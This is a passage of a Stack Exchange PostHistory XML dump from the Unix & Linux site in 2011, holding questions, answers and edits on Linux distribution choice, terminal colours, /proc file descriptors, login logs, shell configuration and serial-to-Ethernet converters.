  <row Id="24038" PostHistoryTypeId="2" PostId="10047" RevisionGUID="0b6f49a3-315e-4968-ae49-dc73ea50c8bd" CreationDate="2011-03-24T17:29:15.857" UserId="6012" Text="Dear Stackexchangers,&#xD;&#xA;&#xD;&#xA;I'm searching for the right Linux Distro. My four current ideas are:&#xD;&#xA;&#xD;&#xA;* Gentoo&#xD;&#xA;* Grml&#xD;&#xA;* Arch&#xD;&#xA;* Debian&#xD;&#xA;&#xD;&#xA;But I'm absoluty open for more alternatives. Now a little bit more about my needs:&#xD;&#xA;&#xD;&#xA;* I want it to be really small by default, so I can customize the hell out of it.&#xD;&#xA;* I want to use text-tools only, I don't need any graphics on that OS&#xD;&#xA;* I'm going to use ZSH, Vim, the NEO Layout and maybe XMonad&#xD;&#xA;* I want to have a really nice package manager&#xD;&#xA;* The OS will mainly be used for programming&#xD;&#xA;&#xD;&#xA;My CPU is an Intel Core 2 Duo, 64 Bit, of course.&#xD;&#xA;&#xD;&#xA;My questions are now: &#xD;&#xA;&#xD;&#xA;* Which package manager is the most advanced: APT, Portage or Pacman?&#xD;&#xA;* Which distro fits my needs best?&#xD;&#xA;* What is the easiest way to run it from an USB-Flashdrive?&#xD;&#xA;&#xD;&#xA;Thanks for every answer in advance,&#xD;&#xA;moonglum" />
  <row Id="24039" PostHistoryTypeId="1" PostId="10047" RevisionGUID="0b6f49a3-315e-4968-ae49-dc73ea50c8bd" CreationDate="2011-03-24T17:29:15.857" UserId="6012" Text="The Right Distro for text-based needs" />
  <row Id="24040" PostHistoryTypeId="3" PostId="10047" RevisionGUID="0b6f49a3-315e-4968-ae49-dc73ea50c8bd" CreationDate="2011-03-24T17:29:15.857" UserId="6012" Text="évimàépackageömanagementàézshàédistrosà" />
  <row Id="24041" PostHistoryTypeId="2" PostId="10048" RevisionGUID="7f458eae-eb15-4a73-b89f-19ec9c1e87f4" CreationDate="2011-03-24T17:31:26.633" UserId="4" Text="&gt; Running commands like less and looking at the output from a program that outputs using colors, the output is displayed wrong, like&#xD;&#xA;&#xD;&#xA;&gt; [ESC[0;32m0.052ESC[0m ESC[1;32m2,816.00 kbESC[0m]&#xD;&#xA;&#xD;&#xA;Try using `less --RAW-CONTROL-CHARS`.&#xD;&#xA;&#xD;&#xA;In this example I am using `logtool`, which prints output using colors.&#xD;&#xA;&#xD;&#xA;Without --RAW-CONTROL-CHARS :&#xD;&#xA;&#xD;&#xA;    $ head -20 /var/log/messages | logtool | less&#xD;&#xA;    ESC[0mESC[0;37mMar 20 11:43:52ESC[0mESC[1;36m gondorESC[0mESC[0;37m rsyslogd:ESC[0m ^GESC[0;31mlast message repeated 14 timesESC[0mESC[0m&#xD;&#xA;&#xD;&#xA;With --RAW-CONTROL-CHAR (Imagine this is in pretty colors. Also, I am not sure why that `^G` is being displayed.):&#xD;&#xA;&#xD;&#xA;    $ head -20 /var/log/messages | logtool | less --RAW-CONTROL-CHARS&#xD;&#xA;    Mar 20 11:43:52 gondor rsyslogd: ^Glast message repeated 14 times&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24042" PostHistoryTypeId="25" PostId="10041" RevisionGUID="59106474-4d0e-42db-a073-cb245c61bc69" CreationDate="2011-03-24T17:31:34.730" Comment="http://twitter.com/#!/StackUnix/status/50973041047511041" />
  <row Id="24043" PostHistoryTypeId="2" PostId="10049" RevisionGUID="d88daea0-408c-43af-9dda-c4aa5b4830b1" CreationDate="2011-03-24T17:33:53.400" UserId="5286" Text="I'm pretty sure I got it sorted... I had to `chmod -R 777` the folder on fm-backup, and change the `rsync` options from `...-avz...` to -`...rvz...`. The only thing the Ubuntu box is even used for is to remotely back up files, so I don't see that as a problem." />
  <row Id="24044" PostHistoryTypeId="5" PostId="10048" RevisionGUID="ec04bd53-adf4-4678-bd37-05fda37b7270" CreationDate="2011-03-24T17:37:15.973" UserId="4" Comment="added 33 characters in body" Text="&gt; Running commands like less and looking at the output from a program that outputs using colors, the output is displayed wrong, like&#xD;&#xA;&#xD;&#xA;&gt; [ESC[0;32m0.052ESC[0m ESC[1;32m2,816.00 kbESC[0m]&#xD;&#xA;&#xD;&#xA;Try using `less --RAW-CONTROL-CHARS`.&#xD;&#xA;&#xD;&#xA;In this example I am using [logtool][1], which prints output using colors.&#xD;&#xA;&#xD;&#xA;Without --RAW-CONTROL-CHARS :&#xD;&#xA;&#xD;&#xA;    $ head -20 /var/log/messages | logtool | less&#xD;&#xA;    ESC[0mESC[0;37mMar 20 11:43:52ESC[0mESC[1;36m gondorESC[0mESC[0;37m rsyslogd:ESC[0m ^GESC[0;31mlast message repeated 14 timesESC[0mESC[0m&#xD;&#xA;&#xD;&#xA;With --RAW-CONTROL-CHAR (Imagine this is in pretty colors. Also, I am not sure why that `^G` is being displayed.):&#xD;&#xA;&#xD;&#xA;    $ head -20 /var/log/messages | logtool | less --RAW-CONTROL-CHARS&#xD;&#xA;    Mar 20 11:43:52 gondor rsyslogd: ^Glast message repeated 14 times&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xjack.org/logtool/" />
  <row Id="24045" PostHistoryTypeId="2" PostId="10050" RevisionGUID="ab8eab67-28f0-4d91-97e0-5cff08da1b21" CreationDate="2011-03-24T17:46:56.747" UserId="6013" Text="In Linux, in `/proc/PID/fd/X`, the links for file descriptors that are pipes or sockets have a number, like:&#xD;&#xA;&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 00:05 1 -&gt; pipe:[6839]&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 00:05 2 -&gt; pipe:[6839]&#xD;&#xA;    lrwx------ 1 user user 64 Mar 24 00:05 3 -&gt; socket:[3142925]&#xD;&#xA;    lrwx------ 1 user user 64 Mar 24 00:05 4 -&gt; socket:[3142926]&#xD;&#xA;    lr-x------ 1 user user 64 Mar 24 00:05 5 -&gt; pipe:[3142927]&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 00:05 6 -&gt; pipe:[3142927]&#xD;&#xA;    lrwx------ 1 user user 64 Mar 24 00:05 7 -&gt; socket:[3142930]&#xD;&#xA;    lrwx------ 1 user user 64 Mar 24 00:05 8 -&gt; socket:[3142932]&#xD;&#xA;    lr-x------ 1 user user 64 Mar 24 00:05 9 -&gt; pipe:[9837788]&#xD;&#xA;&#xD;&#xA;Like on the first line: 6839. What is that number representing?" />
  <row Id="24046" PostHistoryTypeId="1" PostId="10050" RevisionGUID="ab8eab67-28f0-4d91-97e0-5cff08da1b21" CreationDate="2011-03-24T17:46:56.747" UserId="6013" Text="/proc/PID/fd/X link number" />
  <row Id="24047" PostHistoryTypeId="3" PostId="10050" RevisionGUID="ab8eab67-28f0-4d91-97e0-5cff08da1b21" CreationDate="2011-03-24T17:46:56.747" UserId="6013" Text="élinuxàéprocà" />
  <row Id="24048" PostHistoryTypeId="2" PostId="10051" RevisionGUID="af51952c-2d78-4c9a-9216-1be71409a991" CreationDate="2011-03-24T17:48:37.850" UserId="-1" Text="" />
  <row Id="24049" PostHistoryTypeId="2" PostId="10052" RevisionGUID="d221c38c-8f51-45c4-a681-935c160d7514" CreationDate="2011-03-24T17:48:37.850" UserId="-1" Text="" />
  <row Id="24050" PostHistoryTypeId="2" PostId="10053" RevisionGUID="fb2f17e7-85b2-48cb-8c41-90b1d3a27887" CreationDate="2011-03-24T17:54:02.403" UserId="298" Text="On linux, logins and failed logins are logged in /var/log/wtmp and /var/log/btmp respectively.  To see these logins or login attempts you can use the last, and lastb commands.  You can also check your /var/log/auth.log for successful / failed authentication attempts.  &#xD;&#xA;&#xD;&#xA;In OpenBSD there is no /var/log/btmp, but the other two logs are still available.&#xD;&#xA;&#xD;&#xA;In Solaris the last command works, but (at least on the system I have access to) authlog seems to be empty.  &#xD;&#xA;" />
  <row Id="24051" PostHistoryTypeId="6" PostId="10046" RevisionGUID="5e7a80f6-67e4-424c-b953-7aa45440319f" CreationDate="2011-03-24T17:54:33.277" UserId="298" Comment="edited tags" Text="éloginàélogsàéauthenticationà" />
  <row Id="24052" PostHistoryTypeId="5" PostId="10053" RevisionGUID="03a837ab-41f0-4d90-b624-e536d60c92d0" CreationDate="2011-03-24T17:59:52.430" UserId="298" Comment="update log name for OpenBSD" Text="On linux, logins and failed logins are logged in /var/log/wtmp and /var/log/btmp respectively.  To see these logins or login attempts you can use the last, and lastb commands.  You can also check your /var/log/auth.log for successful / failed authentication attempts.  &#xD;&#xA;&#xD;&#xA;In OpenBSD there is no /var/log/btmp, but the last command works.  Also, the authlog is in /var/log/authlog.&#xD;&#xA; &#xD;&#xA;In Solaris the last command works, but (at least on the system I have access to) authlog seems to be empty.  &#xD;&#xA;" />
  <row Id="24053" PostHistoryTypeId="5" PostId="10051" RevisionGUID="414a856b-ac14-47db-97ca-cb305ed0fc02" CreationDate="2011-03-24T18:02:29.490" UserId="4" Comment="added 215 characters in body" Text="It is possible to use colors on the Unix command-line interface (CLI). Commands like `less`, `ls`, [vim][1] and `grep` support colors. The Bash command prompt can also support colors.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.vim.org/" />
  <row Id="24054" PostHistoryTypeId="24" PostId="10051" RevisionGUID="414a856b-ac14-47db-97ca-cb305ed0fc02" CreationDate="2011-03-24T18:02:29.490" Comment="Proposed by 4 approved by 73 edit id of 229" />
  <row Id="24055" PostHistoryTypeId="5" PostId="10052" RevisionGUID="ac3b987a-6e8c-49d8-8fa5-ca65d1962eb1" CreationDate="2011-03-24T18:02:31.753" UserId="4" Comment="added 64 characters in body" Text="It is possible to use colors on the Unix command-line interface." />
  <row Id="24056" PostHistoryTypeId="24" PostId="10052" RevisionGUID="ac3b987a-6e8c-49d8-8fa5-ca65d1962eb1" CreationDate="2011-03-24T18:02:31.753" Comment="Proposed by 4 approved by 73 edit id of 230" />
  <row Id="24057" PostHistoryTypeId="2" PostId="10054" RevisionGUID="f018b7df-3c76-49eb-85f4-745b813f0ff5" CreationDate="2011-03-24T18:02:37.950" UserId="5785" Text="Your requirement 1 say:&#xD;&#xA;&#xD;&#xA;&gt; I want it to be really small by&#xD;&#xA;&gt; default, so I can customize the hell&#xD;&#xA;&gt; out of it.&#xD;&#xA;&#xD;&#xA;Then, you DON'T want your package manager to be such advanced. Anyway AFAIK, portage is better for the &quot;customization&quot; thing, but maybe you want to [read more about it][1] because I'd never used it.&#xD;&#xA;&#xD;&#xA;APT is really cool, and I'm debian user, but I don't know how much simple do you want your system.&#xD;&#xA;&#xD;&#xA;Pacman is really good, and I used Arch for a year. Arch's system simplicity and customization are pretty and it's BSD-like feeling is really different. The only thing about pacman is that it's not as intuitive as APT, but as workaround, you have this [Pacman Rosetta][2].&#xD;&#xA;&#xD;&#xA;BTW: Maybe you want a Linux system, but if you don't care, you could try FreeBSD, it'ill be nice for you.&#xD;&#xA;&#xD;&#xA;Cheers&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gentoo.org/doc/en/handbook/handbook-x86.xml?part=2&amp;chap=1&#xD;&#xA;  [2]: https://wiki.archlinux.org/index.php/Pacman_Rosetta" />
  <row Id="24058" PostHistoryTypeId="5" PostId="10047" RevisionGUID="85b3b3be-9db3-4811-9bfb-8ecf4836606f" CreationDate="2011-03-24T18:03:24.323" UserId="688" Comment="grammar; rm greetings" Text="I'm searching for the right Linux Distro. My four current ideas are:&#xD;&#xA;&#xD;&#xA;* Gentoo&#xD;&#xA;* Grml&#xD;&#xA;* Arch&#xD;&#xA;* Debian&#xD;&#xA;&#xD;&#xA;But I'm absoluty open to more alternatives. Now a little bit more about my needs:&#xD;&#xA;&#xD;&#xA;* I want it to be really small by default, so I can customize the hell out of it.&#xD;&#xA;* I want to use text-tools only, I don't need any graphics on that OS&#xD;&#xA;* I'm going to use ZSH, Vim, the NEO Layout and maybe XMonad&#xD;&#xA;* I want to have a really nice package manager&#xD;&#xA;* The OS will mainly be used for programming&#xD;&#xA;&#xD;&#xA;My CPU is an Intel Core 2 Duo, 64 Bit, of course.&#xD;&#xA;&#xD;&#xA;My questions are now: &#xD;&#xA;&#xD;&#xA;* Which package manager is the most advanced: APT, Portage or Pacman?&#xD;&#xA;* Which distro fits my needs best?&#xD;&#xA;* What is the easiest way to run it from an USB-Flashdrive?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24059" PostHistoryTypeId="2" PostId="10055" RevisionGUID="96fa1b8c-78a9-403f-8053-098b7579da29" CreationDate="2011-03-24T18:05:11.797" UserId="4" Text="We recently set up a new FreeBSD 7.2 machine on March 11. When looking at `last`, we noticed some funny characters for the TTY field. &#xD;&#xA;&#xD;&#xA;What do these characters mean? Note that at this time, the sysadmin was battling with NTP.&#xD;&#xA;&#xD;&#xA;    # last |grep date&#xD;&#xA;    date             {                         Fri Mar 10 17:26&#xD;&#xA;    date             |                         Fri Mar 10 15:26&#xD;&#xA;    date             {                         Fri Mar 10 15:26&#xD;&#xA;    date             |                         Fri Mar 10 03:14&#xD;&#xA;    date             {                         Fri Mar 10 03:11&#xD;&#xA;    date             |                         Sat Mar 11 15:22&#xD;&#xA;    date             {                         Sat Mar 11 15:21&#xD;&#xA;    date             |                         Sat Mar 11 09:20&#xD;&#xA;&#xD;&#xA;And according to `man last`, I can specify the tty using `-t tty`:&#xD;&#xA;&#xD;&#xA;    # last -t {&#xD;&#xA;    date             {                         Fri Mar 10 17:26&#xD;&#xA;    date             {                         Fri Mar 10 15:26&#xD;&#xA;    date             {                         Fri Mar 10 03:11&#xD;&#xA;    date             {                         Sat Mar 11 15:21&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24060" PostHistoryTypeId="1" PostId="10055" RevisionGUID="96fa1b8c-78a9-403f-8053-098b7579da29" CreationDate="2011-03-24T18:05:11.797" UserId="4" Text="Why does `last` show '{' and '|' in the TTY field?" />
  <row Id="24061" PostHistoryTypeId="3" PostId="10055" RevisionGUID="96fa1b8c-78a9-403f-8053-098b7579da29" CreationDate="2011-03-24T18:05:11.797" UserId="4" Text="éfreebsdàéttyàélastàéfreebsd82à" />
  <row Id="24062" PostHistoryTypeId="2" PostId="10056" RevisionGUID="aee7d270-db64-47b2-995d-5cec3c2f39e1" CreationDate="2011-03-24T18:40:26.467" UserId="138" Text="That's the &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Inode&quot;&gt;inode&lt;/a&gt; number for the pipe or socket in question.&#xD;&#xA;&#xD;&#xA;You'll notice that some of the numbers in your example are the same. A pipe is a unidirectional channel, with a write end and a read end, and you're seeing both. More common than seeing a program talking to itself over a pipe, as in your example, are two different programs talking to each other, typically because you set up the communication channel with a shell:&#xD;&#xA;&#xD;&#xA;    shell-1$ ls -lR / | less&#xD;&#xA;&#xD;&#xA;Then in another terminal window:&#xD;&#xA;&#xD;&#xA;    shell-2$ ...figure out the ls and less PIDs; say 4242 and 4243 for this example...&#xD;&#xA;    shell-2$ ls /proc/4242/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 1 -&gt; pipe:[222536390]&#xD;&#xA;    shell-2$ ls /proc/4243/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 0 -&gt; pipe:[222536390]&#xD;&#xA;&#xD;&#xA;This says that PID 4242's standard output (FD 1, by convention) is connected to a pipe with inode number 222536390, and that PID 4243's standard input (FD 0) is connected to the same pipe. Which is a long way of saying that `ls`'s output is being sent to `less`'s input." />
  <row Id="24063" PostHistoryTypeId="5" PostId="10046" RevisionGUID="a1a98985-4b96-425d-8ebf-e4f6cf66e0d2" CreationDate="2011-03-24T18:44:54.073" UserId="73" Comment="deleted 9 characters in body" Text="Is there any way to keep track of number of attempts made by a user to login into his system?" />
  <row Id="24064" PostHistoryTypeId="5" PostId="10031" RevisionGUID="b683037b-35c4-42ce-987a-bd9abc20b6a1" CreationDate="2011-03-24T19:16:37.607" UserId="4176" Comment="added cshrc" Text="My school has our Linux accounts using csh/tcsh by default. I, however, have a lot setup on my home bashrc and I'd like to use that at school. BUT there's also some important stuff that happens in our cshrc so I'd sort of like to not change my shell on each login. Is there a way for me to call or execute my bashrc within my cshrc and get the same effects or should I find out how to translate my bashrc into cshrc? I don't know crazy of an idea this is - I'm only really used to bashrc personally.&#xD;&#xA;&#xD;&#xA;Thanks for any help!&#xD;&#xA;&#xD;&#xA;Edit: I've decided to translate my cshrc into a bashrc so I can use bash... Ick Csh - anyone have input on translating this?&#xD;&#xA;&#xD;&#xA;My cshrc I'm looking to work on probably later today:&#xD;&#xA;&#xD;&#xA;    set defaultsdir=~defaults&#xD;&#xA;    # source ${defaultsdir}/linuxpaths&#xD;&#xA;    source ${HOME}/linuxpaths&#xD;&#xA;    # # add your custom shell commands here&#xD;&#xA;    # # see 'man tcsh' for more info&#xD;&#xA;    if ( $?prompt ) then&#xD;&#xA;      set autoexpand&#xD;&#xA;      set autolist&#xD;&#xA;      set cdpath = ( ~ )&#xD;&#xA;      set pushdtohome&#xD;&#xA;    &#xD;&#xA;      set savehist=10000&#xD;&#xA;      set histfile=~/.history&#xD;&#xA;    &#xD;&#xA;    # Load aliases from ~/.alias&#xD;&#xA;      if ( -e ~/.alias )	source ~/.alias&#xD;&#xA;    &#xD;&#xA;    endif" />
  <row Id="24065" PostHistoryTypeId="5" PostId="10015" RevisionGUID="e3e6d2a5-e0eb-42f9-8316-d59ed9eabb70" CreationDate="2011-03-24T20:01:14.917" UserId="885" Comment="added -r to read; replaced echo with printf" Text="I can't see a way using Busybox's `sed`, but you could use Busybox's `sh` and `grep` like this:&#xD;&#xA;&#xD;&#xA;    while IFS='&#xD;&#xA;    ' read -r line; do&#xD;&#xA;        printf &quot;%s\n&quot; &quot;$line&quot; | grep -qi '&lt;script' || printf &quot;%s\n&quot; &quot;$line&quot;&#xD;&#xA;    done &lt;SOMETHING.html &gt;SOMETHING.html.tmp&#xD;&#xA;    mv SOMETHING.html.tmp SOMETHING.html&#xD;&#xA;" />
  <row Id="24066" PostHistoryTypeId="6" PostId="10012" RevisionGUID="210c2658-874e-4f86-9619-d64a82074055" CreationDate="2011-03-24T20:04:27.737" UserId="885" Comment="edited tags" Text="étextöprocessingàésedàéopenwrtàébusyboxà" />
  <row Id="24067" PostHistoryTypeId="2" PostId="10057" RevisionGUID="a1a876fb-d529-4605-9ede-3da64bfa1cc3" CreationDate="2011-03-24T20:17:44.637" UserId="885" Text="Most of that `.cshrc` is including external files (the `source` command) that you'll have to translate as well. The `if ( $?prompt )` section is executed only in interactive shells; you don't have to worry about that in bash. Some of the `set` commands are setting shell options that don't have exact equivalents; you may want to tune bash completion settings. The few lines that matter are:&#xD;&#xA;&#xD;&#xA;    set defaultsdir=~defaults                defaultsdir=~defaults&#xD;&#xA;    source ${HOME}/linuxpaths                . ~/linuxpaths.sh&#xD;&#xA;    set savehist=10000                       HISTSIZE=10000; HISTFILESIZE=$HISTSIZE&#xD;&#xA;    if ( -e ~/.alias ) source ~/.alias       . ~/.alias.sh&#xD;&#xA;" />
  <row Id="24068" PostHistoryTypeId="5" PostId="10057" RevisionGUID="f0b34761-b4fb-45b5-adbc-c56c2b8f333e" CreationDate="2011-03-24T20:27:58.903" UserId="885" Comment="added 382 characters in body" Text="Most of that `.cshrc` is including external files (the `source` command) that you'll have to translate as well. The `if ( $?prompt )` section is executed only in interactive shells; you don't have to worry about that in bash. Some of the `set` commands are setting shell options that don't have exact equivalents; you may want to tune bash completion settings. The few lines that matter are:&#xD;&#xA;&#xD;&#xA;    set defaultsdir=~defaults                defaultsdir=~defaults&#xD;&#xA;    source ${HOME}/linuxpaths                . ~/linuxpaths.sh&#xD;&#xA;    set savehist=10000                       HISTSIZE=10000; HISTFILESIZE=$HISTSIZE&#xD;&#xA;    if ( -e ~/.alias ) source ~/.alias       . ~/.alias.sh&#xD;&#xA;&#xD;&#xA;There's no reason why you would change your `~/.cshrc`, but you may want to change your `~/.login` so that text mode logins drop you into bash, or even zsh if it's available. Use this at the end of `~/.login`:&#xD;&#xA;&#xD;&#xA;    if ($?prompt != 0) then&#xD;&#xA;      which bash &gt;/dev/null &gt;&amp;/dev/null&#xD;&#xA;      if ($status == 0) then&#xD;&#xA;        setenv SHELL bash&#xD;&#xA;        exec bash&#xD;&#xA;      fi&#xD;&#xA;    endif&#xD;&#xA;" />
  <row Id="24069" PostHistoryTypeId="6" PostId="10050" RevisionGUID="a9907351-b47e-4686-9578-175b8d28472d" CreationDate="2011-03-24T20:30:59.617" UserId="885" Comment="edited tags" Text="élinuxàéopenöfilesàéprocà" />
  <row Id="24070" PostHistoryTypeId="25" PostId="10050" RevisionGUID="057e0831-f133-42aa-8289-9137442310c5" CreationDate="2011-03-24T20:31:35.250" Comment="http://twitter.com/#!/StackUnix/status/51018341103570944" />
  <row Id="24071" PostHistoryTypeId="6" PostId="10047" RevisionGUID="e7e6f27c-f1f9-497f-a242-40c33e9a9328" CreationDate="2011-03-24T20:31:46.560" UserId="885" Comment="edited tags" Text="évimàépackageömanagementàézshàédistributionöchoiceà" />
  <row Id="24072" PostHistoryTypeId="2" PostId="10058" RevisionGUID="d55ee363-035e-4ebf-9529-a3a47912eb16" CreationDate="2011-03-24T20:32:59.070" UserId="5685" Text="I've used Debian, Gentoo and Arch for a couple of years each. The more customizable by far is Gentoo. But it takes tought each time you want a given package. Debian is, well Debian: a mainstream distro, that can feel bloated to some. Given your requirements, I think you might like Arch. It's pretty lightweight and there are tons of bleeding-edge packages." />
  <row Id="24073" PostHistoryTypeId="5" PostId="10056" RevisionGUID="ac5701f1-74c5-4471-a389-1e0b1b4bd8d5" CreationDate="2011-03-24T20:34:51.147" UserId="138" Comment="clarity tweak; added 10 characters in body" Text="That's the &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Inode&quot;&gt;inode&lt;/a&gt; number for the pipe or socket in question.&#xD;&#xA;&#xD;&#xA;You'll notice that some of the numbers in your example are the same. A pipe is a unidirectional channel, with a write end and a read end, and you're seeing both.&#xD;&#xA;&#xD;&#xA;More common than seeing a program talking to itself over a pipe, as in your example, are two different programs talking to each other, typically because you set up a pipe between them with a shell:&#xD;&#xA;&#xD;&#xA;    shell-1$ ls -lR / | less&#xD;&#xA;&#xD;&#xA;Then in another terminal window:&#xD;&#xA;&#xD;&#xA;    shell-2$ ...find the ls and less PIDs with ps; say 4242 and 4243 for this example...&#xD;&#xA;    shell-2$ ls -l /proc/4242/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 1 -&gt; pipe:[222536390]&#xD;&#xA;    shell-2$ ls -l /proc/4243/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 0 -&gt; pipe:[222536390]&#xD;&#xA;&#xD;&#xA;This says that PID 4242's standard output (FD 1, by convention) is connected to a pipe with inode number 222536390, and that PID 4243's standard input (FD 0) is connected to the same pipe.&#xD;&#xA;&#xD;&#xA;All of which is a long way of saying that `ls`'s output is being sent to `less`'s input." />
  <row Id="24074" PostHistoryTypeId="2" PostId="10059" RevisionGUID="1b9a47c6-12de-4a9b-b433-c0f1b8dc4608" CreationDate="2011-03-24T20:37:53.590" UserId="885" Text="&gt; The idea is for my application to know not to color the output if the program can't print, say, logging output from through a cron job to a file, no need to log colored output, but when running manually, i like to view the output colored.&#xD;&#xA;&#xD;&#xA;For this use case, what programs typically do (e.g. GNU ls or GNU grep with `--color=auto`) is to use colors if their output is going to a terminal, and no colors otherwise. Terminals that don't support ANSI color-changing sequences are rare enough that it's acceptable to make their users override the default choice. In any case, make sure your application has an option to force colors on or off.&#xD;&#xA;&#xD;&#xA;In a shell script, use `[ -t 1 ]` to test if standard output is a terminal.&#xD;&#xA;&#xD;&#xA;    # option processing has set $color to yes, no or auto&#xD;&#xA;    if [ $color = auto ]; then&#xD;&#xA;      if [ -t 1 ]; then color=yes; else color=no; fi&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;From a program using the C API, call `isatty(1)`.&#xD;&#xA;&#xD;&#xA;    # option processing has set use_color to 0 for no, 1 for yes or 2 for auto&#xD;&#xA;    if (use_color == 2) use_color = isatty(1);&#xD;&#xA;" />
  <row Id="24075" PostHistoryTypeId="6" PostId="9957" RevisionGUID="1013746a-093e-44a0-8c67-f7716c3ad5dd" CreationDate="2011-03-24T20:38:07.397" UserId="885" Comment="edited tags" Text="éshellàéterminalàécolorsà" />
  <row Id="24076" PostHistoryTypeId="5" PostId="9159" RevisionGUID="f8a459b1-4fbb-43cc-9944-e859592be549" CreationDate="2011-03-24T20:39:37.570" UserId="138" Comment="termios() -&gt; cfsetospeed()" Text="Many devices use nonstandard connectors for serial ports. RJ-45 is probably the most common connector used for RS-232 serial after DB-9, but unlike with DB-9, there aren't even *de facto* standards for the pinout. I'm aware of 4 different RJ-45 RS-232 pinouts, and there are probably others I haven't seen yet.&#xD;&#xA;&#xD;&#xA;None of this means that people are somehow converting Ethernet to serial. They merely happen to use the same connector.&#xD;&#xA;&#xD;&#xA;There are many products that do provide that conversion, and in fact most of them do use the RJ-45 connector for their serial side. For an example of a single-port converter, there's the &lt;a href=&quot;http://www.digi.com/products/serialservers/digionesp.jsp&quot;&gt;Digi One SP&lt;/a&gt;. More common are boxes that provide multiple serial ports, like the &lt;a href=&quot;http://www.digi.com/products/serialservers/portserverts816.jsp&quot;&gt;Digi PortServer&lt;/a&gt; and the &lt;a href=&quot;http://www.avocent.com/Products/Category/Serial_Appliances/CS_Console_Servers.aspx&quot;&gt;Avocent (neé Cyclades) Console Servers&lt;/a&gt;. These are just two examples out of many. Digi and Avocent are easily the two biggest players, but there are lots of smaller companies doing things like this.&#xD;&#xA;&#xD;&#xA;Some of these boxes present themselves to the OS as `/dev/ttyWHATEVER` by installing a driver. These have the advantage that any program that knows how to talk to a serial port can talk to the remote device plugged into the converter. For the most part, the driver makes the converter appear no different from a local serial port. For example, if a program opens one of the converter's `/dev/` nodes and calls `cfsetospeed()` on it to set the serial port's bit rate, the driver forwards the command to the remote converter box, which changes the serial bit rate on that port.&#xD;&#xA;&#xD;&#xA;The main problem you run into with that type of converter is that it isn't always possible to find a working driver for your particular kernel. This problem is becoming more common as the popularity of RS-232 drops, since it means the companies providing these boxes have dwindling incentives to keep enhancing their driver to track kernel differences.&#xD;&#xA;&#xD;&#xA;The other major type of serial to Ethernet converter is purely a network appliance. For example, with the Cyclades boxes, if it gets the IP 10.1.2.3 from the DHCP server, you can connect to 10.1.2.3 on TCP port 7001 to connect to the first serial port. You'd use TCP port 7002 for the second serial port, and so forth.&#xD;&#xA;&#xD;&#xA;To set serial port parameters with this sort of converter, you typically have to use a web management UI hosted by the converter box. While this does mean you don't get features like automatic serial port parameter forwarding to the converter, you do get compatibility with any program that can open a TCP connection without needing a driver." />
  <row Id="24077" PostHistoryTypeId="5" PostId="10043" RevisionGUID="de791e83-36dc-4d82-8e41-7a9a34bd000a" CreationDate="2011-03-24T20:45:04.503" UserId="885" Comment="moved -maxdepth 1 before primaries (recent GNU find displays an annoying warning)" Text="You can use the `find` command to find all files that have been modified after a certain number of days.&#xD;&#xA;&#xD;&#xA;For example, to find all files in the current directory that have been modified since yesterday (24 hours ago) use:&#xD;&#xA;&#xD;&#xA;    find . -maxdepth 1 -mtime -1 -ls&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24078" PostHistoryTypeId="2" PostId="10060" RevisionGUID="90dc0078-a33b-4c5f-adce-2897083708bb" CreationDate="2011-03-24T20:49:27.263" UserId="5666" Text="If you can modify your web server's configuration or allowed to have .htaccess, you can setup custom error pages. For example, assuming apache as webserver, make an error page `/var/www/error-pages/404-error.html` and add the following to your .htaccess or vhosts section.&#xD;&#xA;&#xD;&#xA;    Alias /error-pages /var/www/error-pages&#xD;&#xA;    ErrorDocument 404 /error-pages/404-error.html&#xD;&#xA;&#xD;&#xA;Together with the alias directive, you can use the same error pages for multiple vhosts if you have more than one. This alone should help not clobbering, but you can also add `-X error-pages` to your `wget` parameters to skip all custom error pages in general.&#xD;&#xA;" />
  <row Id="24079" PostHistoryTypeId="5" PostId="10056" RevisionGUID="1fd83980-9c46-4fbe-b382-bca64114f7a9" CreationDate="2011-03-24T21:07:42.353" UserId="138" Comment="explained duplicate pipe inode numbers in the same program better" Text="That's the &lt;a href=&quot;https://secure.wikimedia.org/wikipedia/en/wiki/Inode&quot;&gt;inode&lt;/a&gt; number for the pipe or socket in question.&#xD;&#xA;&#xD;&#xA;A pipe is a unidirectional channel, with a write end and a read end. In your example, it looks like FD 5 and FD 6 are talking to each other, since the inode numbers are the same. (Maybe not, though. See below.)&#xD;&#xA;&#xD;&#xA;More common than seeing a program talking to itself over a pipe, as in your example, are two different programs talking to each other, typically because you set up a pipe between them with a shell:&#xD;&#xA;&#xD;&#xA;    shell-1$ ls -lR / | less&#xD;&#xA;&#xD;&#xA;Then in another terminal window:&#xD;&#xA;&#xD;&#xA;    shell-2$ ...find the ls and less PIDs with ps; say 4242 and 4243 for this example...&#xD;&#xA;    shell-2$ ls -l /proc/4242/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 1 -&gt; pipe:[222536390]&#xD;&#xA;    shell-2$ ls -l /proc/4243/fd | grep pipe&#xD;&#xA;    l-wx------ 1 user user 64 Mar 24 12:18 0 -&gt; pipe:[222536390]&#xD;&#xA;&#xD;&#xA;This says that PID 4242's standard output (FD 1, by convention) is connected to a pipe with inode number 222536390, and that PID 4243's standard input (FD 0) is connected to the same pipe.&#xD;&#xA;&#xD;&#xA;All of which is a long way of saying that `ls`'s output is being sent to `less`'s input.&#xD;&#xA;&#xD;&#xA;Getting back to your example, FD 1 and FD 2 are almost certainly *not* talking to each other. Most likely this is the result of tying stdout (FD 1) and stderr (FD 2) together:&#xD;&#xA;&#xD;&#xA;    $ some-program 